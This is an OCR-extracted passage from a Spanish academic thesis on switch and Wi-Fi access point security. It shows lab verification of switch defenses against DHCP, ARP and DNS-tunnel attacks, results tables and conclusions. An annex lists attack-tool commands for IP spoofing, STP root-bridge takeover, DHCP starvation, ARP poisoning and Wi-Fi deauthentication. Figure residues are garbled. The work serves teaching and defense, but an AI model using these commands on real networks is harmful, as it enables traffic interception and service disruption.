e Seaplicala ACL “DNS” a los puertos correspondientes al atacante ‘A’ y al cliente ‘C’:
(config)# interface 6,9 ip access-group DNS in
2° [Consola conmutador] Para que se muestren por pantalla los mensajes de seguridad asociados a este moédulo:

(config)# debug acl

e Pordefecto, cada 5 minutos se imprimen estos registros. Para reducir el tiempo de espera a 30 segundos:

(config)# access-list logtimer 30

5.4 Verificacion de la defensa

Sin tener que partir de un escenario limpio (liberacion de direcciones por parte de los equipos, vaciado de
archivos de licencias y reinicio de los servidores DHCP), el atacante puede comprobar como ha perdido la
conexion con el equipo infectado. Esto se debe a que la lista de control de acceso extendida “DNS” bloquea la
comunicacion entre ‘A’ y ‘C’ que tiene como destino el puerto UDP 53. Pasados 30 segundos, por la consola
de putty aparece el nimero de paquetes rechazados por la ACL.

0000:01:47:24.65 ACL mClistCtr1:01/01/90 01:47:24 : Port ACL DNS, seq#l0 denied
179 packets

0000:01:47:28.60 ACL mIpPktRecv:01/01/90 01:47:27 List DNS, seq#10 denied udp
10.10.1.9(56319) -> 10.10.1.6(53) on vlan 1, port 9

Figura 5-12. Mensajes debug relativos a la ACL “DNS”

Consecuentemente, en caso de haberse modificado el fichero “resolv.conf” de ‘C’, el servidor DNS ilegitimo de
b b

‘A’ tampoco puede resolver el dominio “servidor.tfgpractica.com™ a su propia direccion, sino que acaba

respondiendo ‘D’ con la IP apropiada.

4.357291239 10.10.1.9 10.10.1.6 DNS 215 Standard query 0x8a57 MX dnscat.e56b03af1100000000a9e5
5.358523614 10.10.1.9 10.10.1.6 DNS 215 Standard query 0x8d86 MX dnscat.63b703af1100000000a9e5
5.368888078 AsustekC_cc:a7:12 AsustekC_ee:7c:0b ARP 42 who has 10.10.1.6? Tell 10.10.1.9

5.368989980 AsustekC_ee:7c:0b AsustekC_cc:a7:12 ARP 60 10.10.1.6 1s at 48:5b:39:ee:7c:0b

6.359758336 10.10.1.9 10.10.1.6 DNS 215 Standard query 0x325e TXT dnscat.219403af1100000000a9%¢
7.361031749 10.10.1.9 10.10.1.6 DNS 215 Standard query 0xb737 TXT dnscat.797303af1100000000a9%¢
7.695793405 10.10.1.9 10.10.1.6 DNS 84 Standard query 0xf84e A servidor.tfgpractica.com
7.695808984 10.10.1.9 10.10.1.6 DNS 84 Standard query 0xe06d AAAA servidor.tfgpractica.com
8.362312407 10.10.1.9 10.10.1.6 DNS 215 Standard query 0x7a4d MX dnscat.5a6103af1100000000a9e5
9.363554022 10.10.1.9 10.10.1.6 DNS 215 Standard query 0x25ae MX dnscat.050303af1100000000a9e5
12.70086507(10.10.1.9 10.10.1.4 DNS 84 Standard query 0xf84e A servidor.tfgpractica.com
12.70087862710.10.1.9 10.10.1.4 DNS 84 Standard query 0xe06d AAAA servidor.tfgpractica.com
12.70122777¢10.10.1.4 10.10.1.9 DNS 134 Standard query response 0xf84e A 10.10.1.2
12.70142988:10.10.1.4 10.10.1.9 DNS 130 Standard query response 0xe06d

Figura 5-13. Trafico DNS tras aplicar la ACL “DNS”

1° [Usuario “root”] Para poder comprobar correctamente la fortificacion, se liberan las licencias asignadas y se
reinician los servidores DHCP:

e [Equipos ‘C’y ‘S’]
dhclient -r ethe
ip a flush dev etho
ip 1 set down ethe
pkill -9 dhclient
> /var/lib/dhclient/dhclient.leases
e [Equipo ‘D’]
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> /var/lib/dhcpd/dhcpd. leases
> /var/lib/dhcpd/dhcpd. leases~

service dhcpd restart

e [Equipo ‘A’]

> /var/lib/dhcpd/dhcpd. leases
> /var/lib/dhcpd/dhcpd. leases~

service isc-dhcp-server restart

Si se intenta repetir el ataque 5.2.1.1, el atacante observa como no es capaz de agotar las licencias del servidor
DHCP. La Figura 5-14 muestra la salida de DHCPig cuando envia mensajes de descubrimiento DHCP, pero no

obtiene respuesta.

timeout waiting on dhcp packet count 1
DHCP_Discover
DHCP_Discover
DHCP_Discover
DHCP_Discover
waiting for first DHCP Server response
DHCP_Discover
DHCP_Discover
timeout waiting on dhcp packet count 2
DHCP_Discover
DHCP_Discover
waiting for first DHCP Server response
DHCP_Discover
DHCP_Discover
DHCP_Discover
DHCP_Discover
DHCP_Discover
waiting for first DHCP Server response
timeout waiting on dhcp packet count 3
DHCP Discover

Figura 5-14. Ejecucion sin éxito de la herramienta DHCPig

Paralelamente, en la consola del conmutador, se imprime cada mensaje que el modulo de seguridad dhcp-

snooping bloquea.

PO00:02:39:40.94
485B39-EE7COB
DEADO2-47FA8B.

000:02:39:41.39
485B39-EE7COB
DEAD28-693929.

POOO:02:39:41.82
485B39-EE7COB
DEAD1C-559219.

PDOO0:02:39:42.27

85 EE7COB
DEADOF-0ODD9FC.

DSNP mIpPktRecv:DHCP DISCOVER: port 6, vid 1, from
lease time 10000 seconds, drop: mac address mismatch, chaddr:

DSNP mIpPktRecv:DHCP DISCOVER: port 6, vid 1, from
lease time 10000 seconds, drop: mac address mismatch, chaddr:

mIpPktRecv:DHCP DISCOVER: port 6, vid 1, from
lease time 10000 seconds, drop: mac address mismatch, chaddr:

DSNP mIpPktRecv:DHCP DISCOVER: port 6, vid 1, from
lease time 10000 seconds, drop: mac address mismatch, chaddr:

Figura 5-15. Mensajes debug relativos al modulo dhcp-snooping

2° [Consola conmutador] Para acceder a las estadisticas de los paquetes filtrados por el modulo dhcp-snooping:

# show dhcp-snooping stats
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Packet type Action Reason Count

server forward from trusted port

client forward to trusted port

server drop received on untrusted port
server drop unauthorized server

client drop destination on untrusted port
client drop untrusted option 82 field
client drop bad DHCP release request
client drop failed verify MAC check
client drop failed on max-binding limit

Figura 5-16. Paquetes permitidos y descartados por el modulo dhcp-snooping

3° [Consola conmutador] Si en lugar de utilizar DHCPig se emplea yersinia para el ataque, se puede comprobar
la vulneracion de seguridad registrada por el modulo port-security:

# show port-security intrusion-log

Status and Counters - Intrusion Log

Port MAC Add:

Figura 5-17. Direccion MAC marcada como intrusa por el modulo port-security

e Laintrusion también queda registrada en el resumen del estado de las interfaces:

# show interfaces brief

and Counters - Port Status

Intrusion MDI Flow
Enabled Status Mode Mode Ctrl

MDIX off

Down
Up DOFDx MD off
Down OFDx off
Up )% ofTf
Down 180FDx off
Up 100FDx off

Figura 5-18. Resumen de interfaces con la bandera de intrusion activa en el puerto 6

e Después de un tiempo, las direcciones MAC falsas son olvidadas al no detectar nuevas tramas con estas
direcciones.
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5:14.38 PSEC mPORTSECMCtrl:removed 949ecc-4cb0Of7 from authorized addr
f port 6 for all vlans due to age-out.

:14.52 PSEC mPORTSECMCtrl:removed aeb0c8-5dead5 from authorized addr
f port 6 for all vlans due to age-out.

:14.65 PSEC mPORTSECMCtrl:removed bh6271c-50c062 from authorized addr
f port 6 for all vlans due to age-out.
5:14.78 PSEC mPORTSECMCtrl:removed e 8-3a87ba from authorized addr
port 6 for all vlans due to age-out.

Figura 5-19. Olvido de direcciones MAC tras un periodo de inactividad

Si el atacante, ante el ataque frustrado, intenta cometer el ataque 5.2.1.2, tampoco obtiene un resultado positivo:
arp-protect impide que se propaguen los mensajes ARP que no cumplan el cuarteto puerto, VLAN, MAC ¢ IP
de la tabla DHCP Snooping. Los mensajes ARP, tanto validos como no validos, se muestran por la consola.

0000:02:45:46.21 DARP mIpPktRecv:Allow: ARP 485b39-eef62a,10.10.1.4 port 4,vlan
1

000:02:45:46.97 DARP mIpPktRecv:Deny ARP Reply 485b39-ee7c0b,10.10.1.4 port 6,
vian 1

Figura 5-20. Mensajes ARP permitidos y rechazados por el médulo arp-protect
4° [Consola conmutador] Para comprobar el contenido de la tabla DHCP Snooping:

# show dhcp-snooping binding

MacAddress VLAN Interface Time Left

485b39-cca7l?

185b39-ee/cOl

Figura 5-21. Contenido de la tabla DHCP Snooping

5° [Consola conmutador] Ya se puede detener la impresion de los mensajes por consola:

(config)# no debug all
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6 VALIDACION

Los objetivos establecidos al principio del documento han sido cumplidos. El contenido de los TFM que
preceden a este proyecto han sido englobados en un tinico documento, aglomerando un nimero importante de
ataques (junto con sus correspondientes herramientas y defensas) en un entorno homogéneo. Los ataques
documentados pueden ejecutarse en un mayor niimero de entornos al haberse ejecutado inicamente en linea de
comandos, ampliando el rango de usuarios que puedan beneficiarse de la informacion suministrada. Esto permite
que, para futuras investigaciones, se recurra a un menor numero de recursos, a la vez que, si se desea profundizar
en algin tema concreto, se pueda acceder a los proyectos de partida a través de las referencias indicadas.

Ademas de la recopilacion, este trabajo ha ampliado el repertorio de ataques sobre diferentes protocolos
(concretamente, ICMP, TCP, UDP y DNS), cumpliendo algunas lineas de avance de los TFM de partida.
Asimismo, otros ataques han sido ampliados con nuevos objetivos y, globalmente, se han adaptado y actualizado
a las ultimas versiones de las herramientas empleadas. Al final de este capitulo, en la Tabla 6-1 se desglosan los
ataques y su estado, que pueden ser:

e Adaptados, indicando que los ataques se han realizado en trabajos anteriores y se han replicado
empleando herramientas sin interfaces graficas y/u homogeneizando el entorno de la red.

e Ampliados, en los que se especifican qué se ha afiadido en comparacion con los proyectos anteriores.
e Nuevos, sefialando si se han logrado o no.

Adicionalmente, en el Anexo D se ha agrupado y concentrado la informacion de todas las tablas sobre los ataques
a los distintos protocolos y cifrados, incluyendo las referencias a los apartados donde han sido estudiados tedrica
y experimentalmente, si procede. En total, han sido 56 ataques cubiertos en el capitulo teorico, de los cuales 23
solo se han analizado tedricamente por salir fuera de los objetivos del trabajo (17) o ser ataques L2, pero no
disponer de las herramientas necesarias para ello (6). Por otra parte, 33 han podido ser implementados®®: 19
adaptaciones, 9 ataques nuevos, 1 ataque nuevo no L2 (concretamente, L.7) y 4 ampliaciones (ver Figura 6-1 y
Figura 6-2). Complementariamente, el Anexo E incluye una tabla clasificatoria alternativa de los ataques no
implementados e implementados. La tabla se ha creado siguiendo la caracterizacion de ataques de MITRE
ATT&CK® [100], cuya clasificacion se ha convertido en practicamente un estandar en el campo de la
ciberseguridad.

23 Se considera implementados aquellos ataques que han sido logrados y no logrados (recogidos en el Anexo C)
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Ataques analizados y desglose de ataques implementados

m No implementados (L3 o superior)

® No implementados (L2 sin herramientas)
u Implementados (logrados y no logrados)
m Adaptados logrados

(!’:3;36] D Adaptados no logrados

® Nuevos logrados

B Nuevos no logrados
Ampliados logrados

m Nuevos logrados (no L2)

- (3%)
Figura 6-1. Representacion de los ataques cubiertos en el proyecto

Ataques implementados segun protocolo o cifrado

B Adaptado logrado

0O Adaptado no logrado
®m Nuevo logrado

O Nuevo no logrado

Ampliado logrado
I I I I Il] I I] I I I I] II] B Nuevo logrado no L2 (L7)
lam T [ lam | e [F ] mCIEe . lm | e D lan |l P} [m] - = | - L 1= (=D} =] =] (= [ DT P . (=] - =] ] [ ]l L1}

& & @v"o' o £ ¢ § I S

e&iﬁ

Figura 6-2. Representacion de ataques practicos por protocolo o cifrado Wi-Fi

Enfocando las estadisticas desde los objetivos iniciales, es decir, el estudio de ataques con objetivos y/o defensas
de nivel L2, la Figura 6-3 muestra la comparativa de ataques implementados con éxito frente a los intentados,
pero no logrados. La Figura 6-4, por otra parte, desglosa la informacion de la Figura 6-3 por protocolo.

Ataques logrados frente a no logrados

m Logrados L2 mlogradosnol2 [©No logrados L2

Figura 6-3. Comparacion de ataques objetos de estudio logrados y no logrados
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Desglose de ataques L2 implementados por protocolo

5

4

3

2

1 L |

» - L. I_ﬁ . I I I B

‘g\?' v q’&. ES \g & OOQ Q c’bél \‘@2 lev' \‘\Q 6@00
S
B logradol2 ®logradonol2 M@ENologradoslL2 &

Figura 6-4. Ataques objetos de estudio logrados y no logrados por protocolo

Respecto a las defensas en los conmutadores y puntos de acceso, se ha comprobado los mecanismos existentes
en los equipos utilizados. Se han explorado varios modulos de seguridad de los conmutadores, asi como los
mecanismos para verificar su correcto funcionamiento; del punto de acceso, por su parte, se han verificado las
grandes vulnerabilidades del cifrado WEP, y se han explorado las opciones que el AP ofrece para mitigar algunas
amenazas dentro y fuera de la propia red. A continuacion, en la Figura 6-6 y Figura 6-6 se pueden observar la
metodologia principal de los ataques implementados. Estas metodologias estan directamente relacionadas con
el mecanismo de defensa empleado en la fortificacion, que pueden ser:

Compatibilidad regresiva: la vulnerabilidad radica en un mecanismo intrinseco en sistemas heredados
o habilitado para ellos (mecanismo de defensa: evitar la retrocompatibilidad).

Confianza de los mensajes: los mensajes son a priori legitimos y aceptados por el equipo receptor
(mecanismo de defensa: limitar trafico seglin puerto de entrada).

Inundacion MAC: el atacante envia una gran cantidad de mensajes con direcciones MAC origen
aleatorias (mecanismo de defensa: limitar nimero de direcciones MAC aprendidas por puerto)

Suplantacion MAC: el atacante cambia su direccion MAC por la de otro equipo para engafiar a la
victima (mecanismo de defensa: asociar direcciones MAC a puertos)

Suplantacion IP: el atacante cambia su IP por la de otro equipo para engafiar a la victima (mecanismo
de defensa: asociacion MAC-IP-VLAN-Puerto).

Funcionalidades adicionales: el punto de acceso dispone o implementa utilidades que pueden ser
aprovechados por el atacante (mecanismo de defensa: evitar o limitar el uso de estas funcionalidades).

Contrasefias débiles: uso de claves vulnerables a ataques de fuerza bruta y/o diccionario (mecanismo
de defensa: usar claves robustas).

Enlace Red Transporte Aplicacion Cifrados Wi-Fi
(802.1Q, STP, MAC, ARP) (IP, ICMP) (TCP, UDP) (DNS, DHCP) (WEP, WPA/2/3)
[C tibilidad | o o I [C tibilidad |
reg?er::ﬁfaa ‘(SI(I);Q) ‘ Suplantacién IP Suplantacion IP Suplantacién IP ogg?elsilfla 2
|L2iL2 ion | L3/L2 a/3/1/4 L4/L2 6/5/1/6 L7/L2 3/3/0/3 L2z 1s/ors)
Confianza de los Confianza de los Contrasefias
mensajes (STP) mensajes (DHCP) débiles
L2/L2 2/2]0/2 L7/L2 2/2/0/2 L2/L2 1/1/0/1
— ——
Inundacién (MAC) FendEE ey
adicionales
L2/L2 1/1/0n L2/L2 42/2/4
O | S—
Suplantacién MAC Suplantacién IP
L2z 1on Total g‘ObaL‘zde ataques La/L2 njon
_ —
Suplantacién IP 38/28/4/32
(ARP) Leyenda
(Ls/l2  wvon, Metodologia Ataques L2 Ataques no L2
4 (victima y/o (ni victima ni
defensa L2 en defensa L2 en
N°Ataques \ datos) | d )
Vic./Def. Analiz./Log/No Log./Impl. plano catos plano datos

Figura 6-5. Esquema de las metodologias de los ataques L2 implementados en el proyecto
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Metodologia principal de los ataques logrados

m Suplantacién IP (L2)

m Compatibilidad regresiva (L2)

Confianza de los mensajes (L2)

m Uso de funcionalidades
adicionales (QoS, WPS...) (L2)

M Inundacion MAC (L2)

M Suplantacion MAC (L2)

Contrasefias débiles (L2)

B Confianza de los mensajes (no L2)

Figura 6-6. Principal metodologia de ataque de los ataques logrados

Se destaca la gran relevancia de asociar la direccion IP junto a otros campos (direccion MAC, VLAN y puerto)
para evitar la suplantacion IP, el tipo de ataque més comin entre los implementados. Igualmente, los ataques
que aprovechan vulnerabilidades que afectan a equipos antiguos (concretamente, equipos que no soportan
802.1q o el cifrado WPA2) son otro gran foco cuya tnica solucion es evitar el uso de estos dispositivos. En la
siguiente figura, a modo de esquema-resumen, se asocia las distintas metodologias con los mecanismos de

defensa L2 propuestos.

N

Compatibilidad
regresiva (802.1Q)

|

Confianza de los
mensajes (STP,
DHCP)

|

Inundacién (MAC)

H

Suplantacién MAC

' ™

Evitar trunks con
VLAN nativas

Suplantacién IP

Limitar puertos

Compatibilidad

[

con tréfico regresiva (WEP,
STP/DHCP WPA)
7 L 7
' { 1
Limitar nGmero de
direcciones MAC Cogggis‘lre fias
por puerto ==
7 L 7
Asociar MAC- Funcionalidades
Puerto adicionales
. 7 L 7

Figura 6-7. Metodologias de ataques y sus mecanismos de defensa .2

e
Asociar MAC-IP-
VLAN-Puerto

Aislamiento de
clientes (Wi-Fi)
—
EEEE—

Evitar el uso de
WEP, WPA

—
—_—
Uso de
contrasenas
robustas

—
D

Limitar o evitar su
uso

—_—

Por ultimo, con el escenario planteado en el ultimo apartado, se ha demostrado como se pueden aprovechar
diversas vulnerabilidades con distintos ataques para un resultado relevante. A raiz del ataque multietapa, y
ademas de los resultados de los apartados practicos, se matiza la importancia de los ataques sobre DNS, que
permite ejecutar ataques muy potentes (como el reenvio a paginas maliciosas y el control remoto del equipo)
que pueden pasar completamente desapercibidos para la victima.
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Protocolo/Cifrado Ataque (Adaptado, ampliado o nuevo?
Adaptado
Inundacion MAC .
Implementacion documentada en [5]
MAC
. Adaptado
Suplantacion MAC )
Implementacién documentada en [5]
Adaptado
ARP Suplantacion ARP ]
Implementacion documentada en [5]
Ampliado
802.1Q Salto de VLAN Se ha incluido un ataque unidireccional para
potenciar el ataque
Adaptado
Inundacion de TCBPDU Homogeneizacion del entorno y uso de
herramientas sin interfaz grafica
STP
Ampliado
Suplantacion del puente raiz Se han incluido los pasos para perpetrar un
ataque MitM
Adaptado
IP IP Spoofing o
Homogeneizacion del entorno
Adaptado
Smurf .
Homogeneizacion del entorno
Nuevo
ICMP Redireccion
Logrado
Nuevo
Source Quench
No logrado
Inundacién SYN con Nuevo
suplantacion Logrado
Nuevo
Reflexion SYN-ACK
Logrado
TCP
Adaptado
LAND

Homogeneizacion del entorno

Reseteo de conexion

Nuevo

Logrado
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Protocolo/Cifrado Ataque (Adaptado, ampliado o nuevo?
Nuevo
TCP Prediccion de secuencia
No logrado
Nuevo
UDP Fraggle
Logrado
) ) ) Adaptado
DNS Amplificacion/Reflexion DNS o
Homogeneizacion del entorno
o ) Adaptado
Secuestro/Redireccionamiento o
DNS Homogeneizacion del entorno y uso de
herramientas sin interfaz grafica
Nuevo
DNS Envenenamiento de la caché
Logrado
Nuevo
Tunelizacion DNS )
Logrado con mecanismo de defensa L3
Adaptado
DHCP Flooding / Starvation Homogeneizacion del entorno y uso de
herramientas sin interfaz grafica
DHCP
Adaptado
DHCP Spoofing Homogeneizacion del entorno y uso de
herramientas sin interfaz grafica
Adaptado
Falsa autenticacion Homogeneizacion del entorno y uso de
herramientas sin interfaz grafica
Adaptado
ChopChop o
Homogeneizacion del entorno
. Adaptado
WEP Fragmentacion o
Homogeneizacion del entorno
' Adaptado
Inyeccion o
Homogeneizacion del entorno
Ampliado
PTW/KoreK

Se han abordado y comparado los ataques
probando distintas claves
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Protocolo/Cifrado Ataque (Adaptado, ampliado o nuevo?
> Nuevo
WPA Beck & Tews’ improved
attack No logrado
Adaptado
KRACK o
Homogeneizacion del entorno
WPA2
Adaptado
Ataque PMKID o
Homogeneizacion del entorno
Ataque de fuerza Adaptado
bruta/diccionario Homogeneizacion del entorno
Ampliado
_ Ataque sobre WPS Se ha conseguido ejecutar el ataque Pi.xie
Multiprotocolo Dust, ademas de ser demostrado con el pin por
defecto y otro generado aleatoriamente
Adaptado
Hole 196

Homogeneizacion del entorno y uso de
herramientas sin interfaz grafica

Tabla 6-1. Ataques recogidos en los apartados practicos del proyecto
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7 CONCLUSIONES Y LINEAS DE CONTINUACION

“Si conoces al enemigo y te conoces a ti mismo, no debes temer
el resultado de cien batallas. Si te conoces a ti mismo, pero no al
enemigo, por cada victoria obtenida también sufriras una derrota.
Si no sabes nada ni del enemigo ni de ti mismo, sucumbiras en
todas las batallas.”

-Sun Tzu -

En primer lugar, cabe destacar que la mera existencia de un conmutador en una red supone un extra de seguridad
en esta. A diferencia de los buses Ethernet o los equipos interconectados a través de un Aub, en un escenario con
un conmutador no es posible interceptar de forma directa las tramas del medio. Se ha comprobado cémo en un
numero considerable de ataques sobre distintos protocolos, ha sido necesario realizar previamente un
envenenamiento de las tablas ARP de los equipos para poder interceptar los mensajes. Con un tinico médulo de
seguridad es posible evitar un abanico de ataques que, de no existir el conmutador, resultarian indefendibles o
requeririan de una configuracion en cada equipo en lugar de centralizarla.

Para una correcta defensa en el conmutador es necesario conocer bien los elementos interconectados y qué papel
juega cada uno de ellos en la red. El bloqueo de ciertos mensajes y protocolos segun el puerto de entrada dificulta
que un atacante pueda alterar la configuracion de la red. El uso de servidores SNMP y la lectura de los registros
facilitan, ademas, la deteccion y neutralizacion de la amenaza.

Asimismo, debe tenerse en cuenta de que el conmutador es un componente mas dentro de la red. En conjuncion
con otros nodos, especializados en otras funciones y/o que abarcan mas niveles OSI. Esta es una pieza mas que
puede complementar la proteccion de la red. Por si mismo, un nimero significativo de los ataques recogidos en
este documento se quedan fuera del alcance del conmutador, requiriendo de otros equipos para ser
contrarrestados.

Independientemente de las fortificaciones y defensas implementadas, es imprescindible mantener actualizado el

firmware de los dispositivos, sobre todo si se tratan de parches de seguridad. Algunos de los ataques recopilados
simplemente no han podido ser replicados por haber quedado obsoletos en el sistema operativo tratado. Esto es
igualmente aplicable al sofiware que corre sobre los equipos, asi como la concienciacion de los usuarios y
operarios de la red, quienes pueden poner en riesgo accidentalmente la seguridad de esta y de su propia
informacion personal.

Finalmente, y en relacion con el parrafo anterior, una defensa perfecta es practicamente inalcanzable o, al menos,
meramente temporal. Los avances y el descubrimiento de nuevas tecnologias hacen que el campo de la
ciberseguridad esté en constante movimiento. Un claro ejemplo es el cifrado Wi-Fi, donde WPA2 sera
proximamente sustituido por WPA3 y comenzara un nuevo paradigma en la seguridad de redes inalambricas,
tal y como sucedioé con WEP y WPA.

145



146 . , . .,
Conclusiones y lineas de continuacion

7.1 Lineas de continuacion

Las lineas de avance planteadas en este proyecto se centran en el cifrado WPA3 y en las fortificaciones de los
escenarios cableados.

Las herramientas de ataque sobre WPA3 y su documentacion no han evolucionado desde [70]. Es posible que
en parte se deba a la cobertura de WPA3 en los dispositivos a fecha de este documento: WPA2 sigue siendo el
cifrado que emplea la amplia mayoria de equipos pese a no ser el predilecto por la Wi-Fi Alliance desde el afio
2020. Cuando el nuevo cifrado deje practicamente obsoleto a WPA2 y/o existan novedades en las herramientas
para llevar a cabo los ataques, seria de interés el analisis de estas, asi como probar su desempefio.

Las fortificaciones empleadas en los apartados practicos se centran en las funcionalidades de proteccion de nivel
2 con la excepcion del uso puntual de las ACLs en el apartado 5. Otra posible linea de continuacién es el uso de
modulos de niveles superiores en el conmutador para comprobar el potencial de estos equipos. También podrian
emplearse otros equipos, ademas del conmutador, para la defensa de la red, como cortafuegos, filtros, etc. Asi,
los ataques que no han sido cubiertos por no ser defendibles pueden ser replicados, explorando sus herramientas
de ataque y demostrando el uso de estos elementos defensivos.

A continuacion, en la Tabla 7-1 se listan los ataques L2 contemplados en el apartado teérico que no han sido
realizados por falta de herramientas y/o ataques no logrados. Por ultimo, la Tabla 7-2 recoge los ataques no
implementados por quedar fuera de los objetivos que tampoco han sido cubierto en proyectos anteriores.

Protocolo/Cifrado Ataque Consideraciones
ICMP Source Quench Ataque no logrado detallado en el Anexo C (C.1)
TCP Prediccion de secuencia Ataque no logrado detallado en el Anexo C (C.2)

Beck & Tews’ improved Ataque no logrado detallado en el Anexo C (C.3)

attack
Ataque Ohigashi-Morii Falta de herramientas disponibles
Ataque Michael Falta de herramientas disponibles
WPA2 KRACK Ataque no logrado detallado en el Anexo C (C.4)
Transicion WPA3:
degradacion y ataque de Herramientas en proceso de desarrollo
diccionario
Degr ada:éonr?gall dgrupo de Herramientas en proceso de desarrollo
WPA3 u
Ataque de obstruccion a .
WPA3 Herramientas en proceso de desarrollo

Ataque Side-Channel basado

) Herramientas en proceso de desarrollo
en tiempo

Tabla 7-1. Ataques L2 faltantes por implementar

146



Seguridad en conmutadores de red y puntos de acceso. Clasificacion y realizacion practica de ataques 147

Protocolo/Cifrado Ataque Consideraciones
P Fraementacion IP Ni el elemento atacado ni el mecanismo de
gm defensa son L2, sino L3
Inundacién bin Ni el elemento atacado ni el mecanismo de
v pmng defensa son L2, sino L3
Blacknurse Ni el elemento atacado ni el mecanismo de
defensa son L2, sino L3
ICMP
Nudk Ni el elemento atacado ni el mecanismo de
uke defensa son L2, sino L3
) Ni el elemento atacado ni el mecanismo de
Ping of death defensa son L2, sino L3
., Ni el elemento atacado ni el mecanismo de
Tmndacién SYN defensa son L2, sino L4/L3
TCP Inundacion SYN-ACK y Ni el elemento atacado ni el mecanismo de
ACK defensa son L2, sino L4/L3
Fraementacién TCP Ni el elemento atacado ni el mecanismo de
gm defensa son L2, sino L.4/L.3
.y Ni el elemento atacado ni el mecanismo de
upP Fragmentacion UDP defensa son L2, sino L4/L3
., Ni el elemento atacado ni el mecanismo de
Inundacién DNS defensa son L2, sino L7/L3
Ataque de dominio Ni el elemento atacado ni el mecanismo de
pseudoaleatorio defensa son L2, sino L7/L3
Ni el elemento atacado ni el mecanismo de
DNS Ataque NXDOMAIN defensa son L2, sino L7/L3
Dominio fantasma Ni el elemento atacado ni el mecanismo de
defensa son L2, sino L7/L3
Fluio rapido Ni el elemento atacado ni el mecanismo de
Jo rap defensa son L2, sino L7/L3
. Ni el elemento atacado ni el mecanismo de
WPA3 Ataque Szde-Chan'neZ basado defensa son L2, sino el factor humano.
en caché .
Herramientas en proceso de desarrollo

Tabla 7-2. Otros ataques de red (L.3-L7)
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ANEXO A: HERRAMIENTAS DE ATAQUE

UTILIZADAS

En este Anexo se recopilan en tablas las distintas herramientas de ataques empleadas en los capitulos 3, 4 y 5.
Se han incluido algunos comandos que, aunque no han aparecido en el documento, pueden resultar de utilidad
e interés. En la columna o columnas de la izquierda se detalla brevemente la funcion del comando, ubicado a la
derecha. Los argumentos expresados entre corchetes son opcionales.

A.1 hping3

e  /iping3 permite enviar paquetes de capa 3 y 4, permitiendo una amplia variedad de campos a modificar

y banderas a activar.

e Esta herramienta no permite la modificacion de las direcciones MAC. Si se quisiera personalizar las
tramas Ethernet se debe recurrir a otra herramienta, como nping.

Sobre distintos
protocolos y velocidades
(por defecto, el
protocolo es TCP y la
velocidad de envio de un
paquete por segundo)

hping3 [--rawip/icmp/udp] [--fast/faster/flood]
IP_destino

Envio de paquetesaun | Con la direccion IP
destinatario falseada

hping3 -a IP_falsificada IP_destino

Fijando los puertos
origen y destino

hping3 [--udp] -k -s Puerto origen -p
Puerto_destino IP_destino

Con alguna bandera
activada (en orden: FIN,
SYN, RST, ACK)

hping3 [-F] [-S] [-R] [-A] IP_destino

Comprobar si el equipo destino es vulnerable a un
ataque de prediccion de secuencia

hping3 -S -p Puerto_destino -Q IP_Victima
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A.2 yersinia

Este framework ofrece una variedad de ataques a distintos protocolos, principalmente de capa enlace.

Mostrar las opciones de los distintos ataques segiin
el protocolo

yersinia [stp/vtp/hsrp/dtp/dot1qg/cdp/dhcp/isl] -h

Envio de BPDUs con el
bit TC activo

yersinia stp -attack 3 [-interface Interfaz]

Realizar ataque STP
Reclamar el rol de
puente raiz

yersinia stp -attack 4 [-interface Interfaz]

Inundacion de mensajes DHCP DISCOVER
(DHCP Starvation)

yersinia dhcp -attack 1 [-interface Interfaz]

A.3 ettercap

intrusion en la comunicacion.

La herramienta ettercap permite realizar ataques MitM e incorpora mddulos para aprovechar la

Lanzar eftercap en modo texto con objetivos (es
necesario dejar la ‘/’ si hay campos vacios, por
ejemplo: /10.10.1.1//)

ettercap -T MAC _1/IPv4_1/IPv6_1/Puertos_1
MAC 2/IPv4 2/IPv6_2/Puertos 2

Lanzar ettercap en modo texto y ejecutar
envenenamiento ARP (puede ejecutarse
simultaneamente con modulos)

ettercap -T-M arp [Objetivo_1] [Objetivo_2]

Lanzar eftercap en modo texto y ejecutar modulo
(requiere modificar el archivo de configuracion
“etter.conf” y el del modulo seleccionado)

ettercap -T -P nombre_modulo [Objetivo 1]
[Objetivo 2]

A.4 nping

Similar a Aping3, nping permite generar paquetes y personalizar practicamente cualquier campo del

mismo, incluyendo la informacion de la capa enlace.

Sobre distintos
protocolos (por defecto,
el protocolo es TCP)

Envio de paquetes a un
destinatario

nping [--tcp/udp/icmp/arp] --dest-ip IP_Destino
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Con las direcciones
MAC origen y destino
modificadas

nping [--tcp/udp/icmp] --source-mac MAC_Origen
--dest-mac MAC_Destino --dest-ip [P_Destino

Envio de paquetes a un

. . Con la direccion IP
destinatario

nping [--tcp/udp/icmp/arp] --source-ip IP_falsificada

activada (se pueden
activar multiples a la vez
si se separan por comas

c!)
b

origen falsificada --dest-ip IP_Destino
Fijando los puertos nping [--udp] --source-port Puerto_origen --dest-
origen y destino port Puerto_destino --dest-ip IP_Destino
Con los campos
Sequence Number 'y nping --flags [RST/ACK/SYN/FIN] --dest-ip
Acknowledgement IP_Destino
Number modificados
Envio de paquetes TCP
a un destinatario Con alguna bandera

nping --seq Numero_secuencia --ack Numero_ack

--dest-ip IP_Destino

A.5 Suite netwox

e Mas de 200 herramientas se incluyen en la suite netwox, que emplea la libreria netwib, con una gran

variedad de herramientas de ataque y de testeo.

Mostrar las opciones de una de las herramientas

netwox {1-222} --help/help2

Realizar un ataque de reseteo de conexion
atendiendo a un filtro PCAP

netwox 78 --filter “Filtro PCAP” --device Interfaz

Realizar un ataque de redireccion atendiendo a un
filtro PCAP

netwox 86 --filter “Filtro PCAP” --gw
IP_Nueva pasarela --src-ip IP_Origen_falsificada

--device Interfaz

A.6 Suite aircrack-ng

e Las 18 herramientas principales de la suite aircrack-ng permiten poner a prueba la seguridad de redes
Wi-Fi a través de la monitorizacion, ataques y testeo de estas.

Comprobar y eliminar si hay procesos que puedan
interferir en la monitorizacion

airmon-ng check kill

Comenzar/parar la monitorizacién

airmon-ng start/stop Interfaz_wifi
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Escanear las redes inalambricas en un canal concreto

airodump-ng -c Numero_canal Interfaz_monitor

Monitorizar el trafico de un punto de acceso
concreto segin su BSSID

airodump-ng --bssid BSSID Interfaz_monitor

Capturar paquetes con un nombre de archivo
especifico

airodump-ng -w Nombre_archivo Interfaz_monitor

Deautenticar los clientes conectados a un AP seglin
su BSSID (si Intentos=0, se realiza de forma
continua)

aireplay-ng -0 Intentos -a BSSID Interfaz_monitor

Realizar falsa autenticacion a un AP segin su
ESSID (si Segundos_reasociar=0, se realiza de
forma continua hasta conseguirlo. Requiere WEP)

aireplay-ng -1 Segundos_reasociar -e ESSID
